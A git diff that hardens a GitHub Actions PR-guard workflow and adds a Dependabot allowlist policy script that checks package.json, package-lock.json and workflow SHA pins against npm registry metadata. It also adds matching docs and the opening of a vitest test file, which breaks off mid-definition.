diff --git a/.github/workflows/wave-pr-guard.yml b/.github/workflows/wave-pr-guard.yml index 311f5e30..706f784f 100644 --- a/.github/workflows/wave-pr-guard.yml +++ b/.github/workflows/wave-pr-guard.yml @@ -13,8 +13,23 @@ jobs: guard: name: Wave PR scope and ownership runs-on: ubuntu-latest - timeout-minutes: 5 + timeout-minutes: 10 steps: + - name: Checkout trusted base revision + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.event.pull_request.base.sha }} + persist-credentials: false + + - name: Setup trusted Node.js toolchain + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + with: + node-version: '22.13.0' + package-manager-cache: false + + - name: Install dependencies from trusted base lockfile + run: npm ci --ignore-scripts --no-audit --no-fund + - name: Validate linked Wave issue and protected scope uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9 with: @@ -28,58 +43,172 @@ jobs: core.info('Skipping contributor-only Wave checks for trusted maintainer PR.'); return; } - const { data: collaborator } = await github.rest.repos.getCollaboratorPermissionLevel({ - owner, repo, username: pr.user.login, + + const isDependabot = pr.user.login === 'dependabot[bot]'; + // Pin the comparison to the event's immutable head SHA. The merge + // base, file list, and file contents must describe the same diff. + const comparison = await github.rest.repos.compareCommitsWithBasehead({ + owner, + repo, + basehead: pr.base.ref + '...' + pr.head.sha, }); - const trustedPermissions = new Set(['admin', 'maintain', 'write']); - if (trustedPermissions.has(collaborator.permission)) { - core.info('Skipping contributor-only Wave checks for repository collaborator PR.'); - return; + if (!comparison.data.merge_base_commit?.sha) { + throw new Error('Could not establish an immutable PR merge-base comparison'); } - const refs = [...body.matchAll(/(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\s+#(\d+)/gi)].map((m) => Number(m[1])); - const uniqueRefs = [...new Set(refs)]; - if (uniqueRefs.length !== 1) { - core.setFailed('Wave contributor PRs must use exactly one closing reference such as Closes #123.'); - return; - } - const { data: issue } = await github.rest.issues.get({ owner, repo, issue_number: uniqueRefs[0] }); - const labels = new Set(issue.labels.map((label) => label.name)); - if (!labels.has('Stellar Wave')) { - core.setFailed('#' + uniqueRefs[0] + ' is not a Stellar Wave issue.'); - return; - } - if (issue.state !== 'open') { - core.setFailed('Linked Wave issue is not open.'); - return; + const mergeBaseSha = comparison.data.merge_base_commit.sha; + const files = comparison.data.files || []; + if (comparison.data.total_commits > 0 && files.length === 300) { + throw new Error('PR file comparison reached GitHub’s 300-file limit; failing closed'); } + const changedPaths = (file) => [file.previous_filename, file.filename].filter(Boolean); + let labels = new Set(); + let linkedIssueNumber = null; - const dependencySection = (issue.body || '').split(/## Dependencies/i)[1] || ''; - const dependencyText = dependencySection.split(/\n---|\n## /)[0]; - const dependencyIds = [...new Set(dependencyText.match(/SW-\d{3}/g) || [])]; - if (dependencyIds.length) { - const openIssues = await github.paginate(github.rest.issues.listForRepo, { - owner, repo, state: 'open', per_page: 100, + if (isDependabot) { + const { classifyDependabotPR } = require('./scripts/pr-guard-policy.cjs'); + let basePackage; + let headPackage; + let baseLock; + let headLock; + if (files.some((file) => file.filename === 'package.json')) { + const readJsonAtRef = async (path, ref) => { + const { data } = await github.rest.repos.getContent({ + owner, repo, path, ref, + }); + if (Array.isArray(data) || data.type !== 'file' || data.encoding !== 'base64') { + throw new Error('Could not read ' + path + ' as a base64 file at ' + ref); + } + return JSON.parse(Buffer.from(data.content, 'base64').toString('utf8')); + }; + basePackage = await readJsonAtRef('package.json', mergeBaseSha); + headPackage = await readJsonAtRef('package.json', pr.head.sha); + baseLock = await readJsonAtRef('package-lock.json', mergeBaseSha); + headLock = await readJsonAtRef('package-lock.json', pr.head.sha); + } + const registryMetadata = {}; + if (headLock?.packages && baseLock?.packages) { + const changedLockEntries = Object.entries(headLock.packages) + .filter(([path, after]) => path && after && ( + !baseLock.packages[path] || + baseLock.packages[path].version !== after.version + )); + if (changedLockEntries.length > 200) { + throw new Error('Too many changed lockfile artifacts to verify safely'); + } + for (const [packagePath, entry] of changedLockEntries) { + const segments = packagePath.split('/node_modules/').pop().split('/'); + const packageName = segments[0].startsWith('@') + ? segments[0] + '/' + (segments[1] || '') + : segments[0]; + const version = entry.version; + if (typeof version !== 'string') { + throw new Error('Changed lockfile package has no resolved version'); + } + const registryUrl = 'https://registry.npmjs.org/' + + encodeURIComponent(packageName) + '/' + encodeURIComponent(version); + const response = await fetch(registryUrl, { + headers: { accept: 'application/vnd.npm.install-v1+json' }, + signal: AbortSignal.timeout(10000), + }); + if (!response.ok) { + throw new Error('Could not verify ' + packageName + '@' + version + ' against npm registry'); + } + const metadata = await response.json(); + if (metadata.name !== packageName || metadata.version !== version) { + throw new Error('npm registry returned mismatched package identity'); + } + registryMetadata[packageName + '@' + version] = { + resolved: metadata.dist?.tarball, + integrity: metadata.dist?.integrity, + }; + } + } + const workflowContents = {}; + for (const file of files.filter((item) => /^\.github\/workflows\//.test(item.filename))) { + const readWorkflowAtRef = async (ref) => { + const { data } = await github.rest.repos.getContent({ + owner, repo, path: file.filename, ref, + }); + if (Array.isArray(data) || data.type !== 'file' || data.encoding !== 'base64') { + throw new Error('Could not read workflow as a base64 file at ' + ref); + } + return Buffer.from(data.content, 'base64').toString('utf8'); + }; + workflowContents[file.filename] = { + base: await readWorkflowAtRef(mergeBaseSha), + head: await readWorkflowAtRef(pr.head.sha), + }; + } + const decision = classifyDependabotPR({ + login: pr.user.login, + title: pr.title, + baseRef: pr.base.ref, + files, + basePackage, + headPackage, + workflowContents, + baseLock, + headLock, + registryMetadata, }); - const openWaveIds = new Set( - openIssues - .filter((item) => !item.pull_request && /^SW-\d{3}\b/.test(item.title)) - .map((item) => item.title.match(/^SW-\d{3}/)[0]), - ); - const unresolved = dependencyIds.filter((id) => openWaveIds.has(id)); - if (unresolved.length) { - core.setFailed('Linked issue still has unresolved dependencies: ' + unresolved.join(', ')); + if (!decision.allowed) { + core.setFailed('Dependabot PR rejected by narrow bot policy: ' + decision.reason); + return; + } + core.info('Validated narrowly scoped Dependabot update (' + decision.kind + '). Issue assignment is not required for this bot-only path; CODEOWNERS and required checks remain mandatory.'); + } else { + const { data: collaborator } = await github.rest.repos.getCollaboratorPermissionLevel({ + owner, repo, username: pr.user.login, + }); + const trustedPermissions = new Set(['admin', 'maintain', 'write']); + if (trustedPermissions.has(collaborator.permission)) { + core.info('Skipping contributor-only Wave checks for repository collaborator PR.'); return; } - } - if (!issue.assignees.some((a) => a.login === pr.user.login)) { - core.setFailed('PR author must be accepted through Drips and assigned to the linked Wave issue before merge.'); - return; + const refs = [...body.matchAll(/(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\s+#(\d+)/gi)].map((m) => Number(m[1])); + const uniqueRefs = [...new Set(refs)]; + if (uniqueRefs.length !== 1) { + core.setFailed('Wave contributor PRs must use exactly one closing reference such as Closes #123.'); + return; + } + const { data: issue } = await github.rest.issues.get({ owner, repo, issue_number: uniqueRefs[0] }); + labels = new Set(issue.labels.map((label) => label.name)); + if (!labels.has('Stellar Wave')) { + core.setFailed('#' + uniqueRefs[0] + ' is not a Stellar Wave issue.'); + return; + } + if (issue.state !== 'open') { + core.setFailed('Linked Wave issue is not open.'); + return; + } + + const dependencySection = (issue.body || '').split(/## Dependencies/i)[1] || ''; + const dependencyText = dependencySection.split(/\n---|\n## /)[0]; + const dependencyIds = [...new Set(dependencyText.match(/SW-\d{3}/g) || [])]; + if (dependencyIds.length) { + const openIssues = await github.paginate(github.rest.issues.listForRepo, { + owner, repo, state: 'open', per_page: 100, + }); + const openWaveIds = new Set( + openIssues + .filter((item) => !item.pull_request && /^SW-\d{3}\b/.test(item.title)) + .map((item) => item.title.match(/^SW-\d{3}/)[0]), + ); + const unresolved = dependencyIds.filter((id) => openWaveIds.has(id)); + if (unresolved.length) { + core.setFailed('Linked issue still has unresolved dependencies: ' + unresolved.join(', ')); + return; + } + } + + if (!issue.assignees.some((a) => a.login === pr.user.login)) { + core.setFailed('PR author must be accepted through Drips and assigned to the linked Wave issue before merge.'); + return; + } + linkedIssueNumber = issue.number; } - const files = await github.paginate(github.rest.pulls.listFiles, { - owner, repo, pull_number: pr.number, per_page: 100, - }); const protectedPatterns = [ /^\.github\/workflows\//, /^\.github\/CODEOWNERS$/, /^\.changeset\//, /^docs\/adr\//, /^docs\/architecture\//, @@ -88,10 +217,10 @@ jobs: /^src\/dev\/(?:orchestrator|environment)\.ts$/, /^(?:package|package-lock)\.json$/, /^SECURITY\.md$/, ]; - const protectedFiles = files.map((f) => f.filename) + const protectedFiles = [...new Set(files.flatMap(changedPaths))] .filter((name) => protectedPatterns.some((pattern) => pattern.test(name))); - const currentNames = new Set(files.map((file) => file.filename)); + const currentNames = new Set(files.flatMap(changedPaths)); const openPulls = await github.paginate(github.rest.pulls.list, { owner, repo, state: 'open', per_page: 100, }); @@ -102,7 +231,7 @@ jobs: owner, repo, pull_number: other.number, per_page: 100, }); const overlap = otherFiles - .map((file) => file.filename) + .flatMap(changedPaths) .filter((name) => currentNames.has(name)) .filter((name) => protectedPatterns.some((pattern) => pattern.test(name)) || @@ -115,16 +244,19 @@ jobs: return; } - if (protectedFiles.length && !labels.has('protected-surface')) { + if (!isDependabot && protectedFiles.length && !labels.has('protected-surface')) { core.setFailed('PR touches protected surfaces not declared by the linked issue: ' + protectedFiles.join(', ')); return; } - if (!/##\s+(?:Testing|Tests)/i.test(body)) { + if (!isDependabot && !/##\s+(?:Testing|Tests)/i.test(body)) { core.setFailed('PR body must include a Testing/Tests section.'); return; } - if (!/##\s+Security/i.test(body)) { + if (!isDependabot && !/##\s+Security/i.test(body)) { core.setFailed('PR body must include a Security section.'); return; } - core.info('Validated Wave issue #' + issue.number + ' for PR #' + pr.number + '.'); + core.info(isDependabot + ? 'Validated Dependabot PR #' + pr.number + ' with normal conflict, required-check, and code-owner merge controls retained.' + : 'Validated Wave issue #' + linkedIssueNumber + ' for PR #' + pr.number + '.'); + diff --git a/docs/contributing/repository-ruleset.md b/docs/contributing/repository-ruleset.md index 93671937..75d6281e 100644 --- a/docs/contributing/repository-ruleset.md +++ b/docs/contributing/repository-ruleset.md @@ -113,3 +113,14 @@ Before considering the ruleset complete, verify: Whenever workflow names, job names, CODEOWNERS boundaries, or security policy change, review this document and the actual GitHub ruleset together. A renamed required job can block all merges if the ruleset still points to the old status-check name. Ruleset changes therefore require the same care as CI/security workflow changes. + +## Automated Dependency Pull Requests + +Dependabot is exempt only from the contributor-specific Stellar Wave issue/Drips assignment requirements, and only for two narrowly defined update classes: + +- npm updates that modify exactly `package.json` and `package-lock.json`, changing existing dependency version ranges only; +- GitHub Actions updates that modify workflow YAML files and change only immutable, 40-character-SHA `uses:` references. + +The Contributor PR Guard validates this allowlist and continues to run protected-file overlap detection. It rejects source, migration, release, permission, script, unrelated workflow, and other out-of-scope changes from the bot. + +This exception does **not** grant merge permission. Normal CI/security checks, branch protection, CODEOWNERS review, stale-approval dismissal, and conversation resolution remain mandatory. Dependabot PRs must never receive write-token or auto-merge privileges through this exception. diff --git a/package-lock.json b/package-lock.json index 88efca46..e813306c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -22,7 +22,8 @@ "prettier": "3.9.8", "typescript": "6.0.3", "typescript-eslint": "8.70.0", - "vitest": "5.0.1" + "vitest": "5.0.1", + "yaml": "2.9.0" }, "engines": { "node": ">=22.13.0 <25", diff --git a/package.json b/package.json index 76e291ed..f3e31302 100644 --- a/package.json +++ b/package.json @@ -39,7 +39,8 @@ "prettier": "3.9.8", "typescript": "6.0.3", "typescript-eslint": "8.70.0", - "vitest": "5.0.1" + "vitest": "5.0.1", + "yaml": "2.9.0" }, "license": "MIT", "repository": { diff --git a/scripts/pr-guard-policy.cjs b/scripts/pr-guard-policy.cjs new file mode 100644 index 00000000..5179b1a0 --- /dev/null +++ b/scripts/pr-guard-policy.cjs @@ -0,0 +1,672 @@ +'use strict'; + +const DEPENDABOT_LOGIN = 'dependabot[bot]'; +const DEPENDENCY_TITLE = /^(?:build|chore)\(deps(?:-dev)?\):\s+/i; +const WORKFLOW_PATH = + /^\.github\/workflows\/(?:[A-Za-z0-9_.-]+\/)*[A-Za-z0-9_.-]+\.ya?ml$/; +const VERSION_RANGE_CLAUSE = + /^(?:[~^=]|>=?|<=?)?\s*\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?$/; + +function isVersionRange(value) { + if (typeof value !== 'string' || value.length > 128) return false; + const clauses = value.split('||'); + return ( + clauses.length <= 8 && + clauses.every((clause) => VERSION_RANGE_CLAUSE.test(clause.trim())) + ); +} + +function parseSemver(version) { + if (typeof version !== 'string') return null; + const match = version.match( + /^(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?(?:\+[0-9A-Za-z.-]+)?$/, + ); + if (!match) return null; + return { + major: Number(match[1]), + minor: Number(match[2]), + patch: Number(match[3]), + prerelease: match[4] ? match[4].split('.') : null, + }; +} + +function compareSemver(left, right) { + const a = parseSemver(left); + const b = parseSemver(right); + if (!a || !b) return null; + for (const key of ['major', 'minor', 'patch']) { + if (a[key] !== b[key]) return a[key] < b[key] ? -1 : 1; + } + if (a.prerelease === null && b.prerelease === null) return 0; + if (a.prerelease === null) return 1; + if (b.prerelease === null) return -1; + const length = Math.max(a.prerelease.length, b.prerelease.length); + for (let index = 0; index < length; index += 1) { + const x = a.prerelease[index]; + const y = b.prerelease[index]; + if (x === undefined) return -1; + if (y === undefined) return 1; + if (x === y) continue; + const xn = /^\d+$/.test(x); + const yn = /^\d+$/.test(y); + if (xn && yn) return Number(x) < Number(y) ? -1 : 1; + if (xn !== yn) return xn ? -1 : 1; + return x < y ? -1 : 1; + } + return 0; +} + +function satisfiesVersionRange(version, range) { + if (!parseSemver(version) || !isVersionRange(range)) return false; + return range.split('||').some((rawClause) => { + const match = rawClause.trim().match( + /^(\^|~|>=|>|<=|<|=)?\s*(\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?)$/, + ); + if (!match) return false; + const operator = match[1] || '='; + const required = match[2]; + const compared = compareSemver(version, required); + if (compared === null) return false; + if (operator === '=') return compared === 0; + if (operator === '>') return compared > 0; + if (operator === '>=') return compared >= 0; + if (operator === '<') return compared < 0; + if (operator === '<=') return compared <= 0; + if (operator === '~') { + const parsed = parseSemver(required); + const upper = parsed.major + '.' + (parsed.minor + 1) + '.0'; + return compared >= 0 && compareSemver(version, upper) < 0; + } + const parsed = parseSemver(required); + const upper = + parsed.major > 0 + ? parsed.major + 1 + '.0.0' + : parsed.minor > 0 + ? '0.' + (parsed.minor + 1) + '.0' + : '0.0.' + (parsed.patch + 1); + return compared >= 0 && compareSemver(version, upper) < 0; + }); +} + +function deny(reason) { + return { allowed: false, reason }; +} + +function isObject(value) { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +function canonicalize(value) { + if (Array.isArray(value)) return value.map(canonicalize); + if (!isObject(value)) return value; + return Object.fromEntries( + Object.keys(value) + .sort() + .map((key) => [key, canonicalize(value[key])]), + ); +} + +function sameJson(left, right) { + return JSON.stringify(canonicalize(left)) === JSON.stringify(canonicalize(right)); +} + +function validatePackageManifest(basePackage, headPackage) { + if (!isObject(basePackage) || !isObject(headPackage)) { + return deny('package.json could not be parsed at both base and head revisions'); + } + + const sections = [ + 'dependencies', + 'devDependencies', + 'optionalDependencies', + 'peerDependencies', + ]; + const baseOutsideDependencies = { ...basePackage }; + const headOutsideDependencies = { ...headPackage }; + for (const section of sections) { + delete baseOutsideDependencies[section]; + delete headOutsideDependencies[section]; + } + if (!sameJson(baseOutsideDependencies, headOutsideDependencies)) { + return deny('package.json changes outside dependency version sections are not allowed'); + } + + let changedVersions = 0; + const changedDependencies = []; + for (const section of sections) { + const beforePresent = Object.hasOwn(basePackage, section); + const afterPresent = Object.hasOwn(headPackage, section); + if (beforePresent !== afterPresent) { + return deny('dependency sections must retain their original presence'); + } + const before = beforePresent ? basePackage[section] : {}; + const after = afterPresent ? headPackage[section] : {}; + if ((beforePresent && !isObject(before)) || (afterPresent && !isObject(after))) { + return deny('present dependency sections must remain JSON objects'); + } + + const beforeNames = Object.keys(before).sort(); + const afterNames = Object.keys(after).sort(); + if (!sameJson(beforeNames, afterNames)) { + return deny('Dependabot may update existing dependency ranges but may not add or remove dependency names'); + } + + for (const name of beforeNames) { + if (before[name] === after[name]) continue; + if (!isVersionRange(before[name]) || !isVersionRange(after[name])) { + return deny( + 'dependency "' + name + '" changed to a non-semver or non-string specification', + ); + } + changedVersions += 1; + changedDependencies.push(name); + } + } + + if (changedVersions === 0) { + return deny('package.json contains no dependency version changes'); + } + return { + allowed: true, + kind: 'npm-dependencies', + changedVersions, + changedDependencies, + }; +} + +function resolveLockDependency(fromPath, dependencyName, packages) { + let current = fromPath; + while (true) { + const candidate = current + ? current + '/node_modules/' + dependencyName + : 'node_modules/' + dependencyName; + if (Object.hasOwn(packages, candidate)) return candidate; + + const marker = '/node_modules/'; + const markerIndex = current.lastIndexOf(marker); + if (markerIndex >= 0) { + current = current.slice(0, markerIndex); + } else if (current.startsWith('node_modules/')) { + current = ''; + } else { + break; + } + } + return null; +} + +function packageNameFromLockPath(packagePath) { + const withoutNodeModules = packagePath.includes('/node_modules/') + ? packagePath.split('/node_modules/').pop() + : packagePath.startsWith('node_modules/') + ? packagePath.slice('node_modules/'.length) + : packagePath; + const segments = withoutNodeModules.split('/'); + return segments[0].startsWith('@') + ? segments[0] + '/' + (segments[1] || '') + : segments[0]; +} + +function collectLockDependencyClosure(lock, dependencyNames) { + const packages = lock.packages; + const reachable = new Set(); + const visit = (packagePath) => { + if (reachable.has(packagePath)) return; + reachable.add(packagePath); + const metadata = packages[packagePath]; + if (!isObject(metadata)) return; + + const names = new Set([ + ...Object.keys(metadata.dependencies || {}), + ...Object.keys(metadata.optionalDependencies || {}), + ...Object.keys(metadata.peerDependencies || {}), + ]); + for (const name of names) { + const resolved = resolveLockDependency(packagePath, name, packages); + if (resolved) visit(resolved); + } + }; + + for (const name of dependencyNames) { + const resolved = resolveLockDependency('', name, packages); + if (!resolved) { + return { + allowed: false, + reason: 'package-lock.json is missing changed direct dependency "' + name + '"', + }; + } + visit(resolved); + } + return { allowed: true, reachable }; +} + +function validatePackageLock( + baseLock, + headLock, + basePackage, + headPackage, + changedDependencies, + registryMetadata, +) { + if ( + !isObject(baseLock) || + !isObject(headLock) || + baseLock.lockfileVersion !== 3 || + headLock.lockfileVersion !== 3 || + !isObject(baseLock.packages) || + !isObject(headLock.packages) || + !isObject(baseLock.packages['']) || + !isObject(headLock.packages['']) + ) { + return deny('package-lock.json must be a valid npm lockfile v3 at base and head'); + } + + const sections = [ + 'dependencies', + 'devDependencies', + 'optionalDependencies', + 'peerDependencies', + ]; + for (const metadata of Object.values(baseLock.packages)) { + if (!isObject(metadata)) { + return deny('package-lock package entries must be JSON objects'); + } + for (const section of [ + 'dependencies', + 'optionalDependencies', + 'peerDependencies', + ]) { + if ( + Object.hasOwn(metadata, section) && + !isObject(metadata[section]) + ) { + return deny( + 'package-lock ' + section + ' entries must remain JSON objects', + ); + } + } + } + for (const metadata of Object.values(headLock.packages)) { + if (!isObject(metadata)) { + return deny('package-lock package entries must be JSON objects'); + } + for (const section of [ + 'dependencies', + 'optionalDependencies', + 'peerDependencies', + ]) { + if ( + Object.hasOwn(metadata, section) && + !isObject(metadata[section]) + ) { + return deny( + 'package-lock ' + section + ' entries must remain JSON objects', + ); + } + } + } + for (const [lock, manifest] of [ + [baseLock, basePackage], + [headLock, headPackage], + ]) { + const root = lock.packages['']; + if (root.name !== manifest.name || root.version !== manifest.version) { + return deny('package-lock root identity must match package.json'); + } + for (const section of sections) { + const expected = manifest[section] || {}; + const actual = root[section] || {}; + if (!sameJson(expected, actual)) { + return deny('package-lock root ' + section + ' must exactly match package.json'); + } + } + } + + // npm may keep a different resolved package version than the manifest + // range appears to request. Verify the root's actual install target. + for (const section of sections) { + const requirements = headPackage[section] || {}; + for (const [name, range] of Object.entries(requirements)) { + const packagePath = resolveLockDependency('', name, headLock.packages); + if (!packagePath && ['optionalDependencies', 'peerDependencies'].includes(section)) { + continue; + } + const resolvedVersion = packagePath + ? headLock.packages[packagePath]?.version + : null; + if (!packagePath || !satisfiesVersionRange(resolvedVersion, range)) { + return deny( + 'package-lock resolved version for "' + name + '" does not satisfy package.json ' + section + ' range', + ); + } + } + } + + const baseRoot = { ...baseLock.packages[''] }; + const headRoot = { ...headLock.packages[''] }; + for (const section of sections) { + delete baseRoot[section]; + delete headRoot[section]; + } + if (!sameJson(baseRoot, headRoot)) { + return deny('package-lock root metadata may not change outside dependency sections'); + } + + const baseTopLevel = { ...baseLock }; + const headTopLevel = { ...headLock }; + delete baseTopLevel.packages; + delete headTopLevel.packages; + if (!sameJson(baseTopLevel, headTopLevel)) { + return deny('package-lock metadata may not change outside the package graph'); + } + + const baseClosure = collectLockDependencyClosure(baseLock, changedDependencies); + if (!baseClosure.allowed) return deny(baseClosure.reason); + const headClosure = collectLockDependencyClosure(headLock, changedDependencies); + if (!headClosure.allowed) return deny(headClosure.reason); + const allowedPaths = new Set([ + ...baseClosure.reachable, + ...headClosure.reachable, + ]); + + const productionRoots = [ + ...Object.keys(headPackage.dependencies || {}), + ...Object.keys(headPackage.optionalDependencies || {}), + ...Object.keys(headPackage.peerDependencies || {}), + ].filter((name) => resolveLockDependency('', name, headLock.packages)); + const productionReachable = collectLockDependencyClosure( + headLock, + productionRoots, + ); + const developmentReachable = collectLockDependencyClosure( + headLock, + Object.keys(headPackage.devDependencies || {}), + ); + if (!productionReachable.allowed || !developmentReachable.allowed) { + return deny('package-lock dependency graph could not be resolved'); + } + + const paths = new Set([ + ...Object.keys(baseLock.packages), + ...Object.keys(headLock.packages), + ]); + for (const packagePath of paths) { + if (packagePath === '') continue; + const before = baseLock.packages[packagePath]; + const after = headLock.packages[packagePath]; + if (!allowedPaths.has(packagePath)) { + if (!sameJson(before, after)) { + return deny( + 'package-lock.json changes package entries outside the updated direct-dependency closure', + ); + } + continue; + } + + if (after) { + const expectedDev = + developmentReachable.reachable.has(packagePath) && + !productionReachable.reachable.has(packagePath); + if ((after.dev === true) !== expectedDev) { + return deny( + 'package-lock dev flag does not match the updated dependency graph', + ); + } + } + + if (before && after && before.version === after.version) { + const beforeWithoutDev = { ...before }; + const afterWithoutDev = { ...after }; + delete beforeWithoutDev.dev; + delete afterWithoutDev.dev; + if (!sameJson(beforeWithoutDev, afterWithoutDev)) { + return deny( + 'package-lock entries may not change artifact metadata without changing the package version', + ); + } + continue; + } + if (after) { + const packageName = packageNameFromLockPath(packagePath); + const trusted = registryMetadata?.[packageName + '@' + after.version]; + if ( + typeof after.version !== 'string' || + !/^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/.test( + after.version, + ) || + typeof after.resolved !== 'string' || + !after.resolved.startsWith('https://registry.npmjs.org/') || + typeof after.integrity !== 'string' || + after.integrity.length === 0 || + !trusted || + trusted.resolved !== after.resolved || + trusted.integrity !== after.integrity + ) { + return deny( + 'new or updated lockfile package tarball and integrity must match trusted npm registry metadata', + ); + } + } + } + + // Every retained package must keep its required dependency edges intact. + // Missing optional or peer dependencies can be valid; regular dependencies + // cannot be left unresolved by deleting a shared lockfile entry. + for (const [packagePath, metadata] of Object.entries(headLock.packages)) { + if (!packagePath || metadata.link === true) continue; + for (const dependencyName of Object.keys(metadata.dependencies || {})) { + if (!resolveLockDependency(packagePath, dependencyName, headLock.packages)) { + return deny( + 'package-lock deletion leaves required dependency "' + + dependencyName + + '" unresolved for ' + + packagePath, + ); + } + } + } + + return { allowed: true }; +} + +function normalizeWorkflowSource(source) { + const { parseDocument, isMap, isSeq, isScalar } = module.require('yaml'); + const document = parseDocument(source, { uniqueKeys: true }); + if (document.errors.length || !isMap(document.contents)) { + return { normalized: null, references: [] }; + } + + const edits = []; + const references = []; + const valueFor = (mapping, key) => { + if (!isMap(mapping)) return undefined; + const pair = mapping.items.find( + (item) => isScalar(item.key) && item.key.value === key, + ); + return pair?.value; + }; + const maskReference = (node, location) => { + if (!isScalar(node) || typeof node.value !== 'string') return; + const match = node.value.match( + /^([A-Za-z0-9_.-]+(?:\/[A-Za-z0-9_.-]+)+)@([a-f0-9]{40})$/i, + ); + if (!match || !Array.isArray(node.range)) return; + const [valueStart, valueEnd] = node.range; + const rawValue = source.slice(valueStart, valueEnd); + const shaToken = '@' + match[2]; + const shaOffset = rawValue.lastIndexOf(shaToken); + if (shaOffset < 0) return; + + const shaStart = valueStart + shaOffset + 1; + const shaEnd = shaStart + match[2].length; + edits.push({ start: shaStart, end: shaEnd, value: '' }); + + // Dependabot updates the adjacent version annotation with the SHA. Permit + // only a canonical "# vX.Y.Z[-prerelease]" comment on this exact uses line. + const nextLine = source.indexOf('\n', valueEnd); + const lineEnd = nextLine < 0 ? source.length : nextLine; + const trailing = source.slice(valueEnd, lineEnd); + const comment = trailing.match( + /^(\s+#\s*v)(\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?)(\s*)$/, + ); + if (comment) { + const versionStart = valueEnd + comment[1].length; + const versionEnd = versionStart + comment[2].length; + edits.push({ start: versionStart, end: versionEnd, value: '' }); + } + + references.push({ + location, + name: match[1], + sha: match[2].toLowerCase(), + }); + }; + + const jobs = valueFor(document.contents, 'jobs'); + if (!isMap(jobs)) return { normalized: null, references: [] }; + + for (const jobPair of jobs.items) { + if (!isScalar(jobPair.key) || typeof jobPair.key.value !== 'string') { + return { normalized: null, references: [] }; + } + const jobName = jobPair.key.value; + const job = jobPair.value; + if (!isMap(job)) continue; + + // Reusable workflow reference: jobs..uses + maskReference(valueFor(job, 'uses'), 'jobs.' + jobName + '.uses'); + + // Action step reference: jobs..steps[*].uses + const steps = valueFor(job, 'steps'); + if (!isSeq(steps)) continue; + for (let index = 0; index < steps.items.length; index += 1) { + const step = steps.items[index]; + if (!isMap(step)) continue; + maskReference( + valueFor(step, 'uses'), + 'jobs.' + jobName + '.steps[' + index + '].uses', + ); + } + } + + let normalized = source; + for (const edit of edits.sort((left, right) => right.start - left.start)) { + normalized = + normalized.slice(0, edit.start) + + edit.value + + normalized.slice(edit.end); + } + return { normalized, references }; +} + +function validateWorkflowPatches(files, workflowContents) { + let changedReferences = 0; + + for (const file of files) { + if (!WORKFLOW_PATH.test(file.filename) || file.status !== 'modified') { + return deny('only modified workflow YAML files are allowed for GitHub Actions updates'); + } + const revisions = workflowContents?.[file.filename]; + if ( + !revisions || + typeof revisions.base !== 'string' || + typeof revisions.head !== 'string' + ) { + return deny( + 'workflow source is unavailable at base or head; failing closed because changed lines cannot be verified', + ); + } + + const before = normalizeWorkflowSource(revisions.base); + const after = normalizeWorkflowSource(revisions.head); + if ( + before.normalized === null || + after.normalized === null + ) { + return deny('workflow YAML could not be parsed safely'); + } + if (before.normalized !== after.normalized) { + return deny( + 'workflow updates may change only pinned action SHAs and canonical version comments at eligible YAML action paths', + ); + } + if (before.references.length !== after.references.length) { + return deny('workflow updates may not add or remove action references'); + } + + for (let index = 0; index < before.references.length; index += 1) { + const oldReference = before.references[index]; + const newReference = after.references[index]; + if ( + oldReference.location !== newReference.location || + oldReference.name !== newReference.name + ) { + return deny('workflow updates may not replace or move action identities'); + } + if (oldReference.sha !== newReference.sha) changedReferences += 1; + } + } + + if (changedReferences === 0) { + return deny('workflow YAML contains no action-reference SHA changes'); + } + return { allowed: true, kind: 'github-actions', changedFiles: files.length }; +} + +function classifyDependabotPR({ + login, + title, + baseRef, + files, + basePackage, + headPackage, + workflowContents, + baseLock, + headLock, + registryMetadata, +}) { + if (login !== DEPENDABOT_LOGIN) { + return deny('only the exact dependabot[bot] account is eligible'); + } + if (baseRef !== 'main') { + return deny('Dependabot updates are allowed only when targeting main'); + } + if (typeof title !== 'string' || !DEPENDENCY_TITLE.test(title)) { + return deny('PR title must use the standard build(deps): or chore(deps): prefix'); + } + if ( + !Array.isArray(files) || + files.length === 0 || + files.some((file) => file.status !== 'modified') + ) { + return deny('Dependabot PR must contain only modified, reviewable files'); + } + + const names = files.map((file) => file.filename).sort(); + const npmFiles = ['package-lock.json', 'package.json']; + if (sameJson(names, npmFiles)) { + const manifest = validatePackageManifest(basePackage, headPackage); + if (!manifest.allowed) return manifest; + const lock = validatePackageLock( + baseLock, + headLock, + basePackage, + headPackage, + manifest.changedDependencies, + registryMetadata, + ); + if (!lock.allowed) return lock; + return { ...manifest, kind: 'npm-dependencies' }; + } + + if (files.every((file) => WORKFLOW_PATH.test(file.filename))) { + return validateWorkflowPatches(files, workflowContents); + } + + return deny( + 'allowed Dependabot scope is exactly package.json + package-lock.json, or workflow YAML action-reference lines only', + ); +} + +/* global module */ +module.exports = { classifyDependabotPR }; diff --git a/tests/pr-guard-policy.test.ts b/tests/pr-guard-policy.test.ts new file mode 100644 index 00000000..305a523d --- /dev/null +++ b/tests/pr-guard-policy.test.ts @@ -0,0 +1,731 @@ +import { createRequire } from 'node:module'; +import { describe, expect, it } from 'vitest'; + +type FileChange = { + filename: string; + status: string; +}; +type PackageManifest = Record; +type Decision = { + allowed: boolean; + kind?: string; + reason?: string; + changedVersions?: number; + changedFiles?: number; +}; + +const require = createRequire(import.meta.url); +const { classifyDependabotPR: classifyDependabotPRInternal } = + require('../scripts/pr-guard-policy.cjs') as { + classifyDependabotPR(input: { + login: string; + title: string; + baseRef: string; + files: FileChange[]; + basePackage?: PackageManifest; + headPackage?: PackageManifest; + baseLock?: Record; + headLock?: Record; + registryMetadata?: Record< + string, + { resolved: string; integrity: string } + >; + workflowContents?: Record; + }): Decision; + }; +const defaultRegistryMetadata = { + 'commander@15.1.0': { + resolved: 